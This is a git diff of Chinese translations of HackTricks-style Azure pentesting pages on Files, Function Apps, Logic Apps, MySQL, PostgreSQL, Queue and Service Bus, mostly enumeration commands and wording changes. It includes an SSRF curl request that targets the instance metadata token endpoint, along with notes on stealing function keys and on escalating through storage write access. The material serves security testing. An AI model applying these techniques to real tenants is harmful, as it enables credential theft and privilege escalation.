- **事务优化**:针对事务密集型操作进行了优化。
- **热存储**:在事务和存储之间保持平衡。
- **冷存储**:具有成本效益的存储
- **高级存储**:针对低延迟和 IOPS 密集型工作负载优化的高性能文件存储。
- **冷存储**在存储上具有成本效益。
- **高级存储**:针对低延迟和 IOPS 密集型工作负载进行了优化的高性能文件存储。
### 备份
@@ -30,8 +30,8 @@
## 枚举
{{#tabs}}
{{#tab name="az cli"}}
{{#tabs }}
{{#tab name="az" }}
```bash
# Get storage accounts
az storage account list #Get the account name from here
@@ -58,9 +58,9 @@ az storage file list --account-name <name> --share-name <share-name> --snapshot
# Download snapshot/backup
az storage file download-batch -d . --account-name <name> --source <share-name> --snapshot <snapshot-version>
```
{{#endtab}}
{{#endtab }}
{{#tab name="Az PowerShell"}}
{{#tab name="Az Powershell" }}
```bash
Get-AzStorageAccount
@@ -81,8 +81,8 @@ Get-AzStorageShare -Context (Get-AzStorageAccount -ResourceGroupName "<resource-
Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -StorageAccountName "<storage-account-name>" -StorageAccountKey (Get-AzStorageAccountKey -ResourceGroupName "<resource-group-name>" -Name "<storage-account-name>" | Select-Object -ExpandProperty Value) -SnapshotTime "<snapshot-version>")
```
{{#endtab}}
{{#endtabs}}
{{#endtab }}
{{#endtabs }}
> [!NOTE]
> 默认情况下,`az` cli 将使用帐户密钥来签名密钥并执行操作。要使用 Entra ID 主体权限,请使用参数 `--auth-mode login --enable-file-backup-request-intent`。

View File

@@ -4,31 +4,31 @@
## 基本信息
**Azure Function Apps** 是一种 **无服务器计算服务**,允许您运行小段代码,称为 **函数**,而无需管理底层基础设施。它们旨在响应各种触发器执行代码,例如 **HTTP 请求、定时器或来自其他 Azure 服务的事件**如 Blob 存储或事件中心。Function Apps 支持多种编程语言,包括 C#、Python、JavaScript 和 Java使其在构建 **事件驱动应用程序**、自动化工作流或集成服务方面具有多功能性。它们具有成本效益,因为您通常只需为代码运行时使用的计算时间付费。
**Azure Function Apps** 是一种 **无服务器计算服务**,允许您运行称为 **函数** 的小段代码,而无需管理底层基础设施。它们旨在响应各种触发器执行代码,例如 **HTTP 请求、定时器或来自其他 Azure 服务**如 Blob 存储或事件中心)的事件。Function Apps 支持多种编程语言,包括 C#、Python、JavaScript 和 Java使其在构建 **事件驱动应用程序**、自动化工作流或集成服务方面具有多功能性。它们具有成本效益,因为您通常只需为代码运行时使用的计算时间付费。
> [!NOTE]
> 请注意,**Functions 是 App Services 的一个子集**,因此,这里讨论的许多功能也将被作为 Azure Apps 创建的应用程序使用(在 cli 中为 `webapp`)。
### 不同计划
- **灵活消费计划**:提供 **动态、事件驱动的扩展**,采用按需付费定价,根据需求添加或删除函数实例。它支持 **虚拟网络****预配置实例** 以减少冷启动,使其适合 **不需要容器支持的可变工作负载**
- **传统消费计划**:默认的无服务器选项,您 **仅在函数运行时为计算资源付费**。它根据传入事件自动扩展,并包括 **冷启动优化**,但不支持容器部署。适合需要自动扩展的 **间歇性工作负载**
- **高级计划**:旨在提供 **一致的性能**,具有 **预热工作者** 以消除冷启动。它提供 **延长的执行时间、虚拟网络**,并支持 **自定义 Linux 镜像**,非常适合需要高性能和高级功能的 **关键任务应用程序**
- **专用计划**:在专用虚拟机上运行,具有 **可预测的计费**,支持手动或自动扩展。它允许在同一计划上运行多个应用程序,提供 **计算隔离**,并通过应用服务环境确保 **安全网络访问**,非常适合需要一致资源分配的 **长时间运行的应用程序**
- **容器应用**:允许在受管理的环境中部署 **容器化函数应用**,与微服务和 API 一起使用。它支持自定义库、遗留应用迁移和 **GPU 处理**,消除了 Kubernetes 集群管理。非常适合 **事件驱动、可扩展的容器化应用程序**
- **Flex Consumption Plan**:提供 **动态、事件驱动的扩展**,采用按需付费定价,根据需求添加或删除函数实例。它支持 **虚拟网络****预配置实例** 以减少冷启动,使其适合 **不需要容器支持的可变工作负载**
- **Traditional Consumption Plan**:默认的无服务器选项,您 **仅在函数运行时为计算资源付费**。它根据传入事件自动扩展,并包括 **冷启动优化**,但不支持容器部署。适合需要自动扩展的 **间歇性工作负载**
- **Premium Plan**:旨在提供 **一致的性能**,具有 **预热工作者** 以消除冷启动。它提供 **延长的执行时间、虚拟网络**,并支持 **自定义 Linux 镜像**,非常适合需要高性能和高级功能的 **关键任务应用程序**
- **Dedicated Plan**:在专用虚拟机上运行,具有 **可预测的计费**,支持手动或自动扩展。它允许在同一计划上运行多个应用程序,提供 **计算隔离**,并通过应用服务环境确保 **安全网络访问**,非常适合需要一致资源分配的 **长时间运行的应用程序**
- **Container Apps**:允许在受管理的环境中部署 **容器化函数应用**,与微服务和 API 一起使用。它支持自定义库、遗留应用迁移和 **GPU 处理**,消除了 Kubernetes 集群管理。非常适合 **事件驱动、可扩展的容器化应用程序**
### **存储桶**
在创建一个新的非容器化的 Function App 时(但提供要运行的代码),**代码和其他与函数相关的数据将存储在存储帐户中**。默认情况下Web 控制台将为每个函数创建一个新的存储桶以存储代码。
在创建一个容器化的 Function App 时(但提供要运行的代码),**代码和其他与函数相关的数据将存储在存储帐户中**。默认情况下Web 控制台将为每个函数创建一个新的存储桶以存储代码。
此外,修改存储桶中的代码(以不同格式存储),**应用的代码将被修改为新的代码,并在下次调用函数时执行**。
此外,修改存储桶中的代码(以不同格式存储**应用的代码将被修改为新的代码,并在下次调用函数时执行**。
> [!CAUTION]
> 从攻击者的角度来看,这非常有趣,因为 **对该存储桶的写入访问** 将允许攻击者 **破坏代码并提升权限** 到 Function App 内的托管身份。
>
> 更多信息请参见 **权限提升部分**。
还可以在存储帐户中找到存储在容器 **`azure-webjobs-secrets`** 中的 **主密钥和函数密钥** **`<app-name>`** 文件夹中的 JSON 文件中可以找到
还可以在存储帐户容器 **`azure-webjobs-secrets`** 中找到存储**主密钥和函数密钥**位于 **`<app-name>`** 文件夹中的 JSON 文件
请注意Functions 还允许将代码存储在远程位置,只需指明其 URL。
@@ -40,13 +40,13 @@
- 还可以 **授予或限制****内部网络 (VPC)** 访问 Function App。
> [!CAUTION]
> 从攻击者的角度来看,这非常有趣,因为可能可以从暴露互联网的脆弱函数 **转移到内部网络**。
> 从攻击者的角度来看,这非常有趣,因为可能可以从暴露互联网的脆弱函数 **转移到内部网络**。
### **Function App 设置和环境变量**
可以在应用内配置环境变量,这些变量可能包含敏感信息。此外,默认情况下会创建环境变量 **`AzureWebJobsStorage`** 和 **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**(以及其他变量)。这些变量特别有趣,因为它们 **包含控制存储帐户的帐户密钥,具有完全权限**,该存储帐户包含应用程序的数据。这些设置在从存储帐户执行代码时也很重要。
可以在应用内配置环境变量,这些变量可能包含敏感信息。此外,默认情况下会创建环境变量 **`AzureWebJobsStorage`** 和 **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**(以及其他变量)。这些变量特别有趣,因为它们 **包含控制存储帐户的帐户密钥,具有完全权限**,该存储帐户包含应用程序的数据。这些设置在从存储帐户执行代码时也很重要。
这些环境变量或配置参数还控制函数如何执行代码,例如如果 **`WEBSITE_RUN_FROM_PACKAGE`** 存在,它将指示应用程序代码所在的 URL。
这些环境变量或配置参数还控制函数如何执行代码,例如如果存在 **`WEBSITE_RUN_FROM_PACKAGE`**,则会指示应用程序代码所在的 URL。
### **Function 沙箱**
@@ -56,16 +56,16 @@
### **托管身份和元数据**
与 [**虚拟机**](vms/index.html) 一样Functions 可以具有 **托管身份**,分为两种类型:系统分配和用户分配。
与 [**VMs**](vms/index.html) 一样Functions 可以具有 **托管身份**,分为两种类型:系统分配和用户分配。
**系统分配** 的身份将是一个托管身份,**只有分配了该身份的函数** 可以使用,而 **用户分配** 的托管身份是 **任何其他 Azure 服务都可以使用的托管身份**
> [!NOTE]
> 与 [**虚拟机**](vms/index.html) 一样Functions 可以具有 **1 个系统分配** 的托管身份和 **多个用户分配** 的托管身份,因此如果您妥协了该函数,始终重要的是尝试找到所有托管身份,因为您可能能够从一个函数提升到多个托管身份。
> 与 [**VMs**](vms/index.html) 一样Functions 可以具有 **1 个系统分配** 的托管身份和 **多个用户分配** 的身份,因此如果您破坏了函数,始终重要的是尝试找到所有身份,因为您可能能够从一个函数提升到多个托管身份。
>
> 如果未使用系统托管身份,但一个或多个用户托管身份附加到函数,默认情况下您将无法获取任何令牌。
可以使用 [**PEASS 脚本**](https://github.com/peass-ng/PEASS-ng) 从元数据端点获取默认托管身份的令牌。或者您可以 **手动** 获取,如下所述:
可以使用 [**PEASS 脚本**](https://github.com/peass-ng/PEASS-ng) 从元数据端点获取默认托管身份的令牌。或者您可以 **手动** 获取它们,如下所述:
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
@@ -76,7 +76,7 @@
> [!NOTE]
> 请注意,没有 RBAC 权限可以授予用户调用函数的访问权限。**函数调用取决于创建时选择的触发器**,如果选择了 HTTP 触发器,可能需要使用 **访问密钥**。
在使用 **HTTP 触发器** 创建函数内的端点时,可以指明触发函数所需的 **访问密钥授权级别**。提供三种选项:
在使用 **HTTP 触发器** 创建函数内的端点时,可以指明触发函数所需的 **访问密钥授权级别**。提供三种选项:
- **ANONYMOUS****每个人**都可以通过 URL 访问该函数。
- **FUNCTION**:端点仅对使用 **函数、主机或主密钥** 的用户可访问。
@@ -87,7 +87,7 @@
- **函数密钥**:函数密钥可以是默认的或用户定义的,旨在仅授予对 Function App 中 **特定函数端点** 的访问权限,从而允许对端点进行更细粒度的访问。
- **主机密钥**:主机密钥也可以是默认的或用户定义的,提供对 Function App 中 **所有函数端点的访问,具有 FUNCTION 访问级别**
- **主密钥**:主密钥(`_master`)作为管理密钥,提供提升的权限,包括对所有函数端点的访问(包括 ADMIN 访问级别)。此 **密钥无法被撤销**
- **系统密钥**:系统密钥由 **特定扩展管理**,并且在访问内部组件使用的 webhook 端点时是必需的。示例包括事件网格触发器和可持久化函数,它们利用系统密钥与各自的 API 安全交互。
- **系统密钥**:系统密钥由 **特定扩展管理**,并且在访问内部组件使用的 webhook 端点时是必需的。示例包括事件网格触发器和可耐久函数,它们利用系统密钥与各自的 API 安全交互。
> [!TIP]
> 使用密钥访问函数 API 端点的示例:
@@ -96,7 +96,7 @@
### 基本身份验证
与应用服务一样Functions 也支持基本身份验证,以通过 **用户名和密码在 URL 中** 连接到 **SCM** **FTP** 部署代码。有关更多信息,请参见:
与应用服务一样Functions 也支持基本身份验证,以通过 **SCM** **FTP** 连接以使用 **Azure 提供的 URL 中的用户名和密码** 部署代码。有关更多信息,请参见:
{{#ref}}
az-app-services.md
@@ -192,22 +192,21 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
```
</details>
此外,**托管身份**也会被创建以便来自仓库的Github Action能够使用它登录到Azure。这是通过在**托管身份**上生成一个联邦凭证来完成的,允许**发行者** `https://token.actions.githubusercontent.com` 和**主题标识符** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`
此外,**托管身份**也会被创建以便来自仓库的Github Action能够使用它登录到Azure。这是通过在**托管身份**上生成一个联邦凭证来完成的,允许**发行者**`https://token.actions.githubusercontent.com`和**主题标识符**`repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`
> [!CAUTION]
> 因此,任何妥协该仓库的人都将能够妥协该功能及其附加的托管身份。
### 基于容器的部署
并非所有计划都允许部署容器但对于允许的计划配置将包含容器的URL。在API中**`linuxFxVersion`** 设置将类似于: `DOCKER|mcr.microsoft.com/...`而在Web控制台中配置将显示**镜像设置**。
并非所有计划都允许部署容器但对于允许的计划配置将包含容器的URL。在API中**`linuxFxVersion`**设置将类似于:`DOCKER|mcr.microsoft.com/...`而在Web控制台中配置将显示**镜像设置**。
此外,**不会在与该功能相关的存储**帐户中存储源代码,因为不需要。
## 枚举
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List all the functions
az functionapp list
@@ -253,11 +252,9 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
# Get source code
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```powershell
Get-Command -Module Az.Functions
@@ -273,9 +270,9 @@ Get-AzFunctionAppPlan -ResourceGroupName <String> -Name <String>
# Retrieves the app settings for a specific Azure Function App.
Get-AzFunctionAppSetting -Name <FunctionAppName> -ResourceGroupName <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
## 权限提升

View File

@@ -6,12 +6,12 @@
Azure Logic Apps 是微软 Azure 提供的基于云的服务,使开发人员能够 **创建和运行集成各种服务、数据源和应用程序的工作流**。这些工作流旨在 **自动化业务流程**、协调任务,并在不同平台之间执行数据集成。
Logic Apps 提供了一个可视化设计器,可以使用 **广泛的预构建连接器** 创建工作流,这使得连接和与各种服务(如 Office 365、Dynamics CRM、Salesforce 等)进行交互变得简单。您还可以特定需求创建自定义连接器。
Logic Apps 提供了一个可视化设计器,可以使用 **广泛的预构建连接器** 创建工作流,这使得连接和与各种服务(如 Office 365、Dynamics CRM、Salesforce 等)进行交互变得简单。您还可以根据特定需求创建自定义连接器。
### 示例
- **自动化数据管道**Logic Apps 可以与 Azure Data Factory 结合自动化 **数据传输和转换过程**。这对于创建可扩展和可靠的数据管道非常有用,这些管道在各种数据存储之间移动和转换数据,如 Azure SQL 数据库和 Azure Blob 存储,帮助进行分析和商业智能操作。
- **与 Azure Functions 集成**Logic Apps 可以与 Azure Functions 一起工作,开发 **复杂的事件驱动应用程序,按需扩展**,并与其他 Azure 服务无缝集成。一个示例用例是使用 Logic App 在响应某些事件(如 Azure 存储帐户中的更改)时触发 Azure Function从而实现动态数据处理。
- **与 Azure Functions 集成**Logic Apps 可以与 Azure Functions 一起工作,开发 **复杂的事件驱动应用程序,按需扩展**,并与其他 Azure 服务无缝集成。一个示例用例是使用 Logic App 在响应某些事件(如 Azure 存储帐户中的更改)时触发 Azure Function从而实现动态数据处理。
### 可视化 LogicAPP
@@ -25,27 +25,26 @@ Logic Apps 提供了一个可视化设计器,可以使用 **广泛的预构建
即使您发现 **Logic App 易受 SSRF 攻击**,也无法从元数据中访问凭据,因为 Logic Apps 不允许这样做。
例如,类似这样的请求不会返回令牌:
例如,这样的请求不会返回令牌:
```bash
# The URL belongs to a Logic App vulenrable to SSRF
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
```
### 托管选项
### Hosting options
有几种托管选项:
* **消费**
- **多租户**提供共享计算资源,运行在公共云中,并遵循按操作计费的定价模型。这非常适合轻量级和具有成本效益的工作负载。
* **标准**
- **工作流服务计划**专用计算资源,具有 VNET 集成用于网络,并按工作流服务计划实例收费。适合需要更大控制的更高要求的工作负载。
- **应用服务环境 V3** 专用计算资源,具有完全隔离和可扩展性。它还与 VNET 集成用于网络,并使用基于环境内应用服务实例的定价模型。这非常适合需要高隔离的企业级应用程序。
- **混合** 设计用于本地处理和多云支持。它允许客户管理的计算资源具有本地网络访问,并利用 Kubernetes 事件驱动的自动扩展KEDA
* **Consumption**
- **Multi-tenant**: 提供共享计算资源,运行在公共云中,并遵循按操作计费的定价模型。这非常适合轻量级和具有成本效益的工作负载。
* **Standard**
- **Workflow Service Plan**: 专用计算资源,具有 VNET 集成用于网络,并按工作流服务计划实例收费。适合需要更大控制的更高要求的工作负载。
- **App Service Environment V3** 专用计算资源,具有完全隔离和可扩展性。它还与 VNET 集成用于网络,并使用基于环境中 App Service 实例的定价模型。这非常适合需要高隔离的企业级应用程序。
- **Hybrid** 设计用于本地处理和多云支持。它允许客户管理的计算资源具有本地网络访问,并利用 Kubernetes 事件驱动的自动扩展KEDA
### 枚举
### Enumeration
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List
az logic workflow list --resource-group <ResourceGroupName>
@@ -108,11 +107,9 @@ az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>
# List all application settings for a specific Logic App
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.LogicApp
@@ -137,29 +134,27 @@ Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "<ResourceGroupName>" -LName
Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -TriggerName "<TriggerName>"
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
### 集成
**集成户**是 Azure Logic Apps 的一个功能。集成户用于通过启用高级 B2B 功能(如 EDI、AS2 和 XML 架构管理)来促进企业级集成。集成户是 Azure 中的一个容器,用于存储 Logic Apps 使用的以下工件:
### 集成
**集成户**是 Azure Logic Apps 的一个功能。集成户用于通过启用高级 B2B 功能(如 EDI、AS2 和 XML 架构管理)来促进企业级集成。集成户是 Azure 中的一个容器,用于存储 Logic Apps 使用的以下工件:
* 架构:管理 XML 架构以验证和处理集成户中的消息。
* 架构:管理 XML 架构以验证和处理集成户中的消息。
* 映射:配置基于 XSLT 的转换,以在集成工作流中转换数据格式。
* 程序集:管理集成户程序集,以简化逻辑和数据处理。
* 程序集:管理集成户程序集,以简化逻辑和数据处理。
* 证书:处理用于加密和签名消息的证书,确保安全通信。
* 伙伴:管理 B2B 交易的交易伙伴信息,实现无缝集成。
* 合作伙伴:管理 B2B 交易的交易伙伴信息,实现无缝集成。
* 协议配置与交易伙伴交换数据的规则和设置例如EDI、AS2
* 批处理配置:管理批处理配置,以高效地分组和处理消息。
* RosettaNet PIP配置 RosettaNet 伙伴接口流程PIPs以标准化 B2B 通信。
* RosettaNet PIP配置 RosettaNet 合作伙伴接口流程PIPs以标准化 B2B 通信。
#### 枚举
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# Integration account
az logic integration-account list --resource-group <resource-group-name>
@@ -219,11 +214,9 @@ az logic integration-account assembly show \
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```powershell
Get-Command -Module Az.LogicApp
@@ -254,23 +247,22 @@ Get-AzIntegrationAccountPartner -ResourceGroupName <resource-group-name> -Integr
# Retrieve details of a specific schema in an integration account
Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <schema-name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
## 权限提升
与逻辑应用权限提升相同:
{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %}
[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md)
{% endcontent-ref %}
{{#ref}}
../az-privilege-escalation/az-logic-apps-privesc.md
{{#endref}}
## 后期利用
{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %}
[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md)
{% endcontent-ref %}
{{#ref}}
../az-post-exploitation/az-logic-apps-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -23,9 +23,8 @@ Azure Database for MySQL 是一个完全托管的关系数据库服务,基于
### 枚举
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List all flexible-servers
az mysql flexible-server db list --resource-group <resource-group-name>
@@ -55,11 +54,9 @@ az mysql flexible-server maintenance list --resource-group <resource-group-name>
az mysql flexible-server server-logs list --resource-group <resource-group-name> --server-name <server_name>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.MySql
@@ -95,15 +92,12 @@ Get-AzMySqlFlexibleServerMaintenanceWindow -ResourceGroupName <resource-group-na
# List log files for a server
Get-AzMySqlFlexibleServerLog -ResourceGroupName <resource-group-name> -ServerName <server_name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
### 连接
使用扩展 rdbms-connect您可以通过以下方式访问数据库
{% code overflow="wrap" %}
```bash
az mysql flexible-server connect -n <server-name> -u <username> -p <password> --interactive
@@ -116,17 +110,11 @@ az mysql flexible-server execute \
--querytext "SELECT * FROM <table-name>;"
```
{% endcode %}
或者使用 MySQL 原生扩展插件
{% code overflow="wrap" %}
或使用 MySQL 原生扩展插件
```bash
mysql -h <server-name>.mysql.database.azure.com -P 3306 -u <username> -p
```
{% endcode %}
此外,您还可以使用 GitHub 执行查询,但也需要密码和用户名。您需要设置一个包含要运行的查询的 SQL 文件,然后:
{% code overflow="wrap" %}
您还可以使用 GitHub 执行查询,但也需要密码和用户名。您需要设置一个包含要运行的查询的 SQL 文件,然后:
```bash
# Setup
az mysql flexible-server deploy setup \
@@ -145,23 +133,21 @@ az mysql flexible-server deploy run \
--action-name <action-name> \
--branch <branch-name>
```
{% endcode %}
## 权限提升
{% content-ref url="../az-privilege-escalation/az-mysql-privesc.md" %}
[az-mysql-privesc.md](../az-privilege-escalation/az-mysql-privesc.md)
{% endcontent-ref %}
{{#ref}}
../az-privilege-escalation/az-mysql-privesc.md
{{#endref}}
## 后期利用
{% content-ref url="../az-post-exploitation/az-mysql-post-exploitation.md" %}
[az-sql-mysql-exploitation.md](../az-post-exploitation/az-mysql-post-exploitation.md)
{% endcontent-ref %}
{{#ref}}
../az-post-exploitation/az-mysql-post-exploitation.md
{{#endref}}
## 待办事项
* 寻找一种方法 mysql flexible-server ad-admin 访问,以验证这是一种权限提升方法
* 寻找一种方法,通过 mysql flexible-server ad-admin 访问,以验证这是一种权限提升方法

View File

@@ -22,13 +22,12 @@
* **停止/启动服务器**:用户可以停止和启动服务器。
* **自动备份**:内置每日备份,保留期可配置最长达 35 天。
* **基于角色的访问**:通过 Azure Active Directory 控制用户权限和管理访问。
* **安全性和网络**:可以管理服务器防火墙规则以确保数据库访问安全,并根据需要分离虚拟网络配置。
* **安全性和网络**:可以管理服务器防火墙规则以确保安全的数据库访问,并根据需要分离虚拟网络配置。
### 枚举
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List servers in a resource group
az postgres flexible-server list --resource-group <resource-group-name>
@@ -64,11 +63,9 @@ az postgres flexible-server maintenance list --resource-group <resource-group-na
az postgres flexible-server server-logs list --resource-group <resource-group-name> --server-name <server_name>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.PostgreSql
@@ -91,15 +88,12 @@ Get-AzPostgreSqlFlexibleServerLocationBasedCapability -Location <location>
Get-AzPostgreSqlServer -ResourceGroupName <resource-group-name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
### 连接
使用扩展 rdbms-connect您可以通过以下方式访问数据库
{% code overflow="wrap" %}
```bash
az postgres flexible-server connect -n <server-name> -u <username> -p <password> --interactive
@@ -112,36 +106,31 @@ az postgres flexible-server execute \
--querytext "SELECT * FROM <table-name>;"
```
{% endcode %}
{% code overflow="wrap" %}
```bash
psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser <database-name>
```
{% endcode %}
## References
## 参考
* [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/)
* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview)
* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview)
- [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/)
- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview)
- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview)
## 权限提升
{% content-ref url="../az-privilege-escalation/az-postgresql-privesc.md" %}
[az-postgresql-privesc.md](../az-privilege-escalation/az-postgresql-privesc.md)
{% endcontent-ref %}
{{#ref}}
../az-privilege-escalation/az-postgresql-privesc.md
{{#endref}}
## 后期利用
{% content-ref url="../az-post-exploitation/az-postgresql-post-exploitation.md" %}
[az-postgresql-post-exploitation.md](../az-post-exploitation/az-postgresql-post-exploitation.md)
{% endcontent-ref %}
{{#ref}}
../az-post-exploitation/az-postgresql-post-exploitation.md
{{#endref}}
## 待办事项
* 寻找一种方法以 ad-admin 访问以验证其是否为权限提升方法
* 寻找一种方法以 ad-admin 访问以验证这是一种权限提升方法
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## 基本信息
Azure Queue Storage 是微软 Azure 云平台中的一项服务,旨在实现应用组件之间的消息排队,**支持异步通信和解耦**。它允许您存储无限数量的消息,每条消息最大为 64 KB并支持创建和删除队列、添加、检索、更新和删除消息以及管理元数据和访问策略等操作。虽然它通常以先进先出FIFO的方式处理消息但不保证严格的 FIFO。
Azure Queue Storage 是微软 Azure 云平台中的一项服务,旨在实现应用组件之间的消息排队,**实现异步通信和解耦**。它允许您存储无限数量的消息,每条消息最大为 64 KB并支持创建和删除队列、添加、检索、更新和删除消息以及管理元数据和访问策略等操作。虽然它通常以先进先出FIFO的方式处理消息但不保证严格的 FIFO。
### 枚举
@@ -12,19 +12,19 @@ Azure Queue Storage 是微软 Azure 云平台中的一项服务,旨在实现
{{#tab name="Az Cli" }}
```bash
# You need to know the --account-name of the storage (az storage account list)
az storage queue list --account-name <storage_account>
az storage queue list --account-name <storage_account> # --auth-mode login
# Queue Metadata
az storage queue metadata show --name <queue_name> --account-name <storage_account>
az storage queue metadata show --name <queue_name> --account-name <storage_account> # --auth-mode login
#Get ACL
az storage queue policy list --queue-name <queue_name> --account-name <storage_account>
az storage queue policy list --queue-name <queue_name> --account-name <storage_account> # --auth-mode login
# Get Messages (getting a message deletes it)
az storage message get --queue-name <queue_name> --account-name <storage_account>
az storage message get --queue-name <queue_name> --account-name <storage_account> # --auth-mode login
# Peek Messages
az storage message peek --queue-name <queue_name> --account-name <storage_account>
az storage message peek --queue-name <queue_name> --account-name <storage_account> # --auth-mode login
```
{{#endtab }}

View File

@@ -4,11 +4,11 @@
## Service Bus
Azure Service Bus 是一个基于云的 **消息服务**,旨在实现 **应用程序不同部分或独立应用程序之间的可靠通信**。它充当安全的中介,确保消息安全送达,即使发送和接收并不同时操作。通过解耦系统,它允许应用程序独立工作,同时仍然交换数据或指令。它特别适用于需要在多个工作者之间进行负载均衡、可靠消息传递或复杂协调的场景,例如按顺序处理任务或安全管理访问。
Azure Service Bus 是一个基于云的 **消息服务**,旨在实现 **应用程序不同部分或独立应用程序之间的可靠通信**。它充当安全的中介,确保消息安全送达,即使发送和接收并不同时操作。通过解耦系统,它允许应用程序独立工作,同时仍然交换数据或指令。它特别适用于需要在多个工作者之间进行负载均衡、可靠消息传递或复杂协调的场景,例如按顺序处理任务或安全管理访问。
### Key Concepts
1. **Queues:** 其目的是在接收准备好之前存储消息。
1. **Queues:** 其目的是在接收准备好之前存储消息。
- 消息是有序的、带时间戳的,并且持久存储。
- 以拉取模式交付(按需检索)。
- 支持点对点通信。
@@ -23,9 +23,9 @@ Azure Service Bus 是一个基于云的 **消息服务**,旨在实现 **应用
一些高级功能包括:
- **Message Sessions**: 确保 FIFO 处理并支持请求-响应模式。
- **Auto-Forwarding**: 在同一命名空间内转移队列或主题之间消息。
- **Auto-Forwarding**: 在同一命名空间内队列或主题之间转移消息。
- **Dead-Lettering**: 捕获无法送达的消息以供审查。
- **Scheduled Delivery**: 延迟未来任务的消息处理。
- **Scheduled Delivery**: 延迟消息处理以进行未来任务
- **Message Deferral**: 推迟消息检索直到准备好。
- **Transactions**: 将操作分组为原子执行。
- **Filters & Actions**: 应用规则以过滤或注释消息。
@@ -51,9 +51,8 @@ sku, 授权规则,
### Enumeration
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# Queue Enumeration
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
@@ -81,11 +80,9 @@ az servicebus queue authorization-rule list --resource-group <MyResourceGroup> -
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```powershell
